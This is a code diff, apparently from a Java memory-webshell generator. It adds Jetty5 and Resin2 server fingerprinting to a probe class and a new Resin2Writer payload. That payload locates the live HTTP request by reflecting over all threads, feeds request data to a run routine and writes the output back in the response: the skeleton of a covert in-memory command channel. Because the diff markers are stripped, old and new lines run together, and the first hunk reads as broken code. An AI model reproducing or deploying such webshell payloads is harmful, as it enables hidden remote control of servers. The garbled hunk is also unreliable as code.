@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||
String p = null;
|
||||
try {
|
||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
ret = p;
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception e) {
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
try {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
try {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
|
||||
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
|
||||
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
||||
if (p == null || p.isEmpty()) {
|
||||
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
||||
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
ret = p;
|
||||
p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
||||
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
ret = p;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -160,5 +183,3 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -27,6 +27,10 @@ public class ServerProbe {
|
||||
classNames.add(traceElement.getClassName());
|
||||
}
|
||||
}
|
||||
if (classNames.contains("org.mortbay.http.HttpConnection")
|
||||
|| classNames.contains("org.mortbay.http.HttpServer")) {
|
||||
return ret = "Jetty5";
|
||||
}
|
||||
if (System.getProperty("jetty.home") != null
|
||||
|| classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
|
||||
return ret = "Jetty";
|
||||
@@ -54,9 +58,15 @@ public class ServerProbe {
|
||||
|| System.getProperty("wlp.install.dir") != null) {
|
||||
return ret = "WebSphere";
|
||||
}
|
||||
if (System.getProperty("resin.home") != null) {
|
||||
if (System.getProperty("resin.home") != null
|
||||
&& classNames.contains("com.caucho.server.dispatch.ServletInvocation")) {
|
||||
return ret = "Resin";
|
||||
}
|
||||
if (System.getProperty("resin.home") != null
|
||||
&& (classNames.contains("com.caucho.server.http.HttpRequest")
|
||||
|| classNames.contains("com.caucho.server.http.ServletServer"))) {
|
||||
return ret = "Resin2";
|
||||
}
|
||||
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
|
||||
return ret = "SpringWebFlux";
|
||||
}
|
||||
|
||||
+172
@@ -0,0 +1,172 @@
|
||||
package com.reajason.javaweb.probe.payload.response;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Set;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2Writer {
|
||||
|
||||
private static boolean ok = false;
|
||||
|
||||
public Resin2Writer() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Object request = getCurrentRequest();
|
||||
if (request == null) {
|
||||
return;
|
||||
}
|
||||
Object response = invokeMethod(request, "getResponse", null, null);
|
||||
String data = getDataFromReq(request);
|
||||
if (data != null && !data.isEmpty()) {
|
||||
String result = "";
|
||||
try {
|
||||
result = run(data);
|
||||
} catch (Throwable e) {
|
||||
result = getErrorMessage(e);
|
||||
}
|
||||
if (result != null) {
|
||||
try {
|
||||
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||
outputStream.write(result.getBytes());
|
||||
outputStream.flush();
|
||||
outputStream.close();
|
||||
} catch (Throwable e) {
|
||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||
writer.write(result);
|
||||
writer.flush();
|
||||
writer.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
ok = true;
|
||||
}
|
||||
}
|
||||
|
||||
private Object getCurrentRequest() {
|
||||
Thread currentThread = Thread.currentThread();
|
||||
Object request = getRequestFromThread(currentThread, currentThread);
|
||||
if (request != null) {
|
||||
return request;
|
||||
}
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
request = getRequestFromThread(thread, currentThread);
|
||||
if (request != null) {
|
||||
return request;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private Object getRequestFromThread(Thread thread, Thread currentThread) {
|
||||
Object target = null;
|
||||
try {
|
||||
target = getFieldValue(thread, "target");
|
||||
} catch (Throwable e) {
|
||||
try {
|
||||
target = getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return getRequestFromTarget(target, currentThread);
|
||||
}
|
||||
|
||||
private Object getRequestFromTarget(Object target, Thread currentThread) {
|
||||
if (target == null) {
|
||||
return null;
|
||||
}
|
||||
Object request = null;
|
||||
if ("com.caucho.server.http.HttpRequest".equals(target.getClass().getName())) {
|
||||
request = target;
|
||||
} else {
|
||||
try {
|
||||
request = getFieldValue(target, "request");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
if (request == null || !"com.caucho.server.http.HttpRequest".equals(request.getClass().getName())) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
Object requestThread = getFieldValue(request, "_thread");
|
||||
if (requestThread != null && requestThread != currentThread) {
|
||||
return null;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return request;
|
||||
}
|
||||
|
||||
private String getDataFromReq(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private String run(String data) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -114,6 +114,8 @@ public class CommonUtil {
|
||||
|
||||
public static String getWebPackageNameForServer(String server) {
|
||||
switch (server) {
|
||||
case Jetty5:
|
||||
return "org.mortbay.jetty.servlet.handlers";
|
||||
case Jetty:
|
||||
return "org.eclipse.jetty.servlet.handlers";
|
||||
case Undertow:
|
||||
@@ -128,6 +130,8 @@ public class CommonUtil {
|
||||
return "weblogic.servlet.internal.handlers";
|
||||
case Resin:
|
||||
return "com.caucho.server.dispatch.handlers";
|
||||
case Resin2:
|
||||
return "com.caucho.server.http.handlers";
|
||||
case BES:
|
||||
return "com.bes.enterprise.webtier.web.handlers";
|
||||
case Apusic:
|
||||
@@ -148,4 +152,4 @@ public class CommonUtil {
|
||||
public static String getSimpleName(String className) {
|
||||
return className.substring(className.lastIndexOf(".") + 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user